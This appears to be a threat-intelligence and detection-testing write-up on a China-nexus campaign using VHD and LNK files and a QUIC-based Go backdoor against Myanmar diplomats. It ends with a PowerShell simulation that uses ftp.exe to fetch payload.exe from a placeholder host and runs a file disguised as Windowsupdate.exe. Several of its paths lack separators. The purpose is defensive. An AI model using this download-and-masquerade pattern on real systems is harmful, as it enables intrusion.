China-Nexus Actor Uses VHD Files to Target Myanmar Diplomats

Summary

A China-nexus threat actor is targeting Myanmar government personnel through a multi-stage infection chain delivered via Virtual Hard Disk (VHD) files. The campaign uses malicious LNK files to abuse ftp.exe for payload reconstruction and deploys a custom Go-based backdoor known as QUICAgent. The malware relies on Cloudflare Workers for dynamic C2 resolution and communicates over the QUIC protocol.

Investigation

The Seqrite APT team analyzed VHD samples containing decoy documents and identified malicious LNK files disguised as PDF files. The investigation uncovered a split-payload technique in which two files are combined with the copy command to reconstruct an executable. Technical analysis of the QUICAgent implant also revealed sandbox evasion through repeated SHA-256 hashing and custom TLS certificate validation.

Mitigation

Organizations should restrict execution of untrusted LNK files and monitor for suspicious child processes involving ftp.exe. Strict controls around Virtual Hard Disk (VHD) usage and monitoring for unusual network traffic over UDP port 443 using QUIC are recommended. Blocking known malicious Cloudflare Worker endpoints can also disrupt the campaign’s C2 resolution mechanism.

Response

If QUICSILVER activity is detected, affected systems should be isolated immediately to stop further data exfiltration and C2 communication. Investigators should inspect %LOCALAPPDATA% for the Windowsupdate.exe binary and review the user’s Startup folder for SystemIn.lnk. Network logs should also be analyzed for connections to known C2 domains and IP addresses to determine the scope of compromise.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: An adversary aims to establish a foothold by mimicking legitimate system processes. First, they use ftp.exe with a script file (-s:) to download a malicious payload, attempting to blend in with automated administrative tasks. Simultaneously, they simulate the deployment of a “Windows Update” binary (renamed) to mask the execution of the payload. Finally, they use a PowerShell script designed to create a malicious .lnk file to ensure persistence via user interaction.

• Regression Test Script:

  # 1. Simulate FTP script-based download (Trigger 1 Part A)
  $ftpScript = "open ftp.example.com`nuser anonymous anonymous`nget payload.exe`nquit"
  $ftpScript | Out-File -FilePath "$env:TEMPftp_script.txt" -Encoding ASCII
  Start-Process "ftp.exe" -ArgumentList "-s:$env:TEMPftp_script.txt" -Wait
  
  # 2. Simulate Windowsupdate.exe execution (Trigger 1 Part B)
  # Note: This assumes a file named Windowsupdate.exe exists or is being called
  # For simulation, we will create a dummy file and run it
  New-Item -Path "$env:TEMPWindowsupdate.exe" -ItemType File -Force
  Start-Process "$env:TEMPWindowsupdate.exe"
  
  # 3. Simulate PowerShell LNK creation (Trigger 2)
  Start-Process "powershell.exe" -ArgumentList "-Command", "Write-Output 'create_lnk_process_running'"

• Cleanup Commands:

  # Remove simulated artifacts
  Remove-Item -Path "$env:TEMPftp_script.txt" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPWindowsupdate.exe" -ErrorAction SilentlyContinue